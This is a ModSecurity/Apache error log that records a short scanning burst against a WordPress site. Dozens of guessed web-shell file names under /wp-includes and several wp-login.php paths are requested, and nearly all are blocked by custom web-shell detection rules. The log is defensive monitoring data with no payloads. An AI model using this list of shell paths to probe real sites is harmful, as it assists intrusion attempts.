[Sun Mar 01 14:32:44.196111 2026] [:error] [pid 44644:tid 44661] [client 45.86.202.180:28063] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaPdjJ3RJaXMcw3y9V9yoAAAAA4"]
[Sun Mar 01 14:32:48.501560 2026] [:error] [pid 44644:tid 44656] [client 45.86.202.171:57989] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaPdkJ3RJaXMcw3y9V9yqQAAAAk"]
[Sun Mar 01 14:32:49.060548 2026] [:error] [pid 40750:tid 40767] [client 45.86.202.203:53285] [client 45.86.202.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ms-file.php"] [unique_id "aaPdkQfBuk03yQKDyqvHNAAAAc4"]
[Sun Mar 01 14:32:49.630508 2026] [:error] [pid 38241:tid 38267] [client 45.86.202.182:45201] [client 45.86.202.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaPdkfKRPk6YnJBxw_wcjQAAANc"]
[Sun Mar 01 14:32:49.634408 2026] [proxy_fcgi:error] [pid 38241:tid 38267] [client 45.86.202.182:45201] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:32:49.897331 2026] [:error] [pid 38241:tid 38264] [client 45.86.202.182:45201] [client 45.86.202.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaPdkfKRPk6YnJBxw_wcjwAAANQ"]
[Sun Mar 01 14:32:56.113863 2026] [:error] [pid 41342:tid 41345] [client 45.86.202.160:32875] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaPdmI4iJ6RAS5CatDlEAgAAAgA"]
[Sun Mar 01 14:32:56.700747 2026] [:error] [pid 37032:tid 37039] [client 45.86.202.201:29687] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/network.php"] [unique_id "aaPdmOu0U4o7eSImsVQX-AAAAYU"]
[Sun Mar 01 14:33:09.206923 2026] [:error] [pid 44644:tid 44657] [client 45.86.202.166:27057] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaPdpZ3RJaXMcw3y9V9y3AAAAAo"]
[Sun Mar 01 14:33:09.867969 2026] [:error] [pid 38034:tid 38051] [client 45.86.202.190:64977] [client 45.86.202.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaPdpQxtfZjwlJok9K-FPwAAAQ0"]
[Sun Mar 01 14:33:13.092636 2026] [:error] [pid 38034:tid 38039] [client 45.86.202.162:22409] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaPdqQxtfZjwlJok9K-FTgAAAQM"]
[Sun Mar 01 14:33:14.829197 2026] [:error] [pid 41967:tid 41970] [client 45.86.202.194:28953] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/install.php"] [unique_id "aaPdqoO1bqY181I02eF-vgAAAIE"]
[Sun Mar 01 14:33:15.408236 2026] [proxy_fcgi:error] [pid 38034:tid 38055] [client 45.86.202.182:26519] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 14:33:15.692964 2026] [:error] [pid 38034:tid 38055] [client 45.86.202.182:26519] [client 45.86.202.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaPdqwxtfZjwlJok9K-FXgAAARE"]
[Sun Mar 01 14:33:19.851890 2026] [:error] [pid 38034:tid 38037] [client 45.86.202.182:26519] [client 45.86.202.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaPdrwxtfZjwlJok9K-FcwAAAQE"]
[Sun Mar 01 14:33:27.908715 2026] [:error] [pid 37032:tid 37036] [client 45.86.202.163:46455] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaPdt-u0U4o7eSImsVQYVQAAAYI"]
[Sun Mar 01 14:33:30.837888 2026] [:error] [pid 44644:tid 44658] [client 45.86.202.173:34941] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaPdup3RJaXMcw3y9V9zNgAAAAs"]
[Sun Mar 01 14:33:31.509765 2026] [:error] [pid 37032:tid 37049] [client 45.86.202.175:55293] [client 45.86.202.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaPdu-u0U4o7eSImsVQYXAAAAY8"]
[Sun Mar 01 14:33:38.426061 2026] [:error] [pid 38034:tid 38048] [client 45.86.202.162:37287] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaPdwgxtfZjwlJok9K-FtwAAAQo"]
[Sun Mar 01 14:33:42.942892 2026] [:error] [pid 44644:tid 44668] [client 45.86.202.201:22721] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaPdxp3RJaXMcw3y9V9zagAAABU"]
[Sun Mar 01 14:33:50.754514 2026] [:error] [pid 41967:tid 41986] [client 45.86.202.160:35013] [client 45.86.202.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaPdzoO1bqY181I02eF-4gAAAJE"]
[Sun Mar 01 14:33:51.388857 2026] [:error] [pid 38034:tid 38048] [client 45.86.202.161:48915] [client 45.86.202.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bypass.php"] [unique_id "aaPdzwxtfZjwlJok9K-F3AAAAQo"]
[Sun Mar 01 14:33:54.008451 2026] [:error] [pid 37032:tid 37054] [client 45.86.202.165:20471] [client 45.86.202.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/count.php"] [unique_id "aaPd0uu0U4o7eSImsVQYnQAAAZQ"]
[Sun Mar 01 14:34:05.866220 2026] [:error] [pid 38241:tid 38255] [client 45.86.202.159:43257] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaPd3fKRPk6YnJBxw_wdAAAAAMs"]
[Sun Mar 01 14:34:10.343849 2026] [:error] [pid 44644:tid 44654] [client 45.86.202.180:23889] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "gigfragments.org"] [uri "/images/stories/themes.php"] [unique_id "aaPd4p3RJaXMcw3y9V9z0AAAAAc"]
[Sun Mar 01 14:34:10.649165 2026] [:error] [pid 44644:tid 44655] [client 45.86.202.180:23889] [client 45.86.202.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aaPd4p3RJaXMcw3y9V9z0gAAAAg"]
[Sun Mar 01 14:34:14.983861 2026] [:error] [pid 44644:tid 44665] [client 45.86.202.172:40183] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aaPd5p3RJaXMcw3y9V9z8QAAABI"]
[Sun Mar 01 14:34:15.614826 2026] [:error] [pid 41342:tid 41345] [client 45.86.202.194:43975] [client 45.86.202.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/vars-soap.php"] [unique_id "aaPd544iJ6RAS5CatDlELAAAAgA"]
[Sun Mar 01 14:34:27.636406 2026] [:error] [pid 42619:tid 42633] [client 45.86.202.187:49703] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aaPd8x_zUXcYaZE4AOd4RAAAAUw"]
[Sun Mar 01 14:34:32.067276 2026] [:error] [pid 41967:tid 41977] [client 45.86.202.201:57879] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aaPd-IO1bqY181I02eF_AAAAAIg"]
[Sun Mar 01 14:34:34.972643 2026] [:error] [pid 38034:tid 38044] [client 45.86.202.183:63851] [client 45.86.202.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aaPd-gxtfZjwlJok9K-GZgAAAQY"]
[Sun Mar 01 14:34:44.743201 2026] [:error] [pid 37032:tid 37056] [client 45.86.202.157:31743] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aaPeBOu0U4o7eSImsVQZUwAAAZY"]
[Sun Mar 01 14:34:47.510075 2026] [:error] [pid 41342:tid 41349] [client 45.86.202.195:21655] [client 45.86.202.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/colour.php"] [unique_id "aaPeB44iJ6RAS5CatDlETQAAAgQ"]
[Sun Mar 01 14:34:50.300209 2026] [:error] [pid 38034:tid 38057] [client 45.86.202.172:39749] [client 45.86.202.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aaPeCgxtfZjwlJok9K-GzwAAARM"]
[Sun Mar 01 14:34:50.929091 2026] [:error] [pid 42619:tid 42643] [client 45.86.202.195:38583] [client 45.86.202.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/include.php"] [unique_id "aaPeCh_zUXcYaZE4AOd4aQAAAVY"]
[Sun Mar 01 14:34:55.334664 2026] [:error] [pid 42619:tid 42624] [client 45.86.202.174:53275] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aaPeDx_zUXcYaZE4AOd4bwAAAUM"]
[Sun Mar 01 14:35:04.610871 2026] [:error] [pid 40750:tid 40754] [client 45.86.202.173:33719] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aaPeGAfBuk03yQKDyqvHUQAAAcE"]
[Sun Mar 01 14:35:05.464026 2026] [:error] [pid 41342:tid 41348] [client 45.86.202.158:38577] [client 45.86.202.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about5.php"] [unique_id "aaPeGY4iJ6RAS5CatDlEWgAAAgM"]
[Sun Mar 01 14:35:15.018628 2026] [:error] [pid 37032:tid 37056] [client 45.86.202.174:63053] [client 45.86.202.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/db.php"] [unique_id "aaPeI-u0U4o7eSImsVQZ6wAAAZY"]
[Sun Mar 01 14:35:19.849577 2026] [:error] [pid 38034:tid 38038] [client 45.86.202.171:57833] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aaPeJwxtfZjwlJok9K-HUAAAAQI"]
[Sun Mar 01 14:35:25.807916 2026] [:error] [pid 44644:tid 44647] [client 45.86.202.165:31747] [client 45.86.202.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aaPeLZ3RJaXMcw3y9V91XgAAAAA"]
[Sun Mar 01 14:35:26.428185 2026] [:error] [pid 44644:tid 44663] [client 45.86.202.157:30211] [client 45.86.202.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aaPeLp3RJaXMcw3y9V91YgAAABA"]
[Sun Mar 01 14:35:29.453156 2026] [:error] [pid 42619:tid 42629] [client 45.86.202.184:37549] [client 45.86.202.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aaPeMR_zUXcYaZE4AOd4jwAAAUg"]
[Sun Mar 01 14:35:34.400091 2026] [:error] [pid 38241:tid 38251] [client 45.86.202.173:57113] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aaPeNvKRPk6YnJBxw_wdxwAAAMc"]
[Sun Mar 01 14:35:38.839950 2026] [:error] [pid 37032:tid 37041] [client 45.86.202.205:35781] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aaPeOuu0U4o7eSImsVQaAQAAAYc"]
[Sun Mar 01 14:35:39.530944 2026] [:error] [pid 38241:tid 38245] [client 45.86.202.205:52641] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aaPeO_KRPk6YnJBxw_wd2QAAAME"]
[Sun Mar 01 14:35:42.303907 2026] [:error] [pid 41967:tid 41970] [client 45.86.202.186:41729] [client 45.86.202.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaPePoO1bqY181I02eF_OwAAAIE"]
[Sun Mar 01 14:35:42.970943 2026] [:error] [pid 44644:tid 44663] [client 45.86.202.176:42737] [client 45.86.202.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/simi.php"] [unique_id "aaPePp3RJaXMcw3y9V91nQAAABA"]
[Sun Mar 01 14:35:47.347111 2026] [:error] [pid 38034:tid 38048] [client 45.86.202.181:62543] [client 45.86.202.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaPeQwxtfZjwlJok9K-HmwAAAQo"]
[Sun Mar 01 14:35:49.317480 2026] [:error] [pid 41780:tid 41783] [client 45.86.202.185:58553] [client 45.86.202.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aaPeRcONkVoocLIqzy0KNQAAA8A"]
[Sun Mar 01 14:35:50.133024 2026] [:error] [pid 42619:tid 42636] [client 45.86.202.179:65455] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aaPeRh_zUXcYaZE4AOd4oAAAAU8"]
[Sun Mar 01 14:35:50.728404 2026] [:error] [pid 38034:tid 38052] [client 45.86.202.179:54129] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aaPeRgxtfZjwlJok9K-HqgAAAQ4"]
[Sun Mar 01 14:35:56.983303 2026] [:error] [pid 38034:tid 38047] [client 45.86.202.173:30957] [client 45.86.202.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aaPeTAxtfZjwlJok9K-HyAAAAQk"]
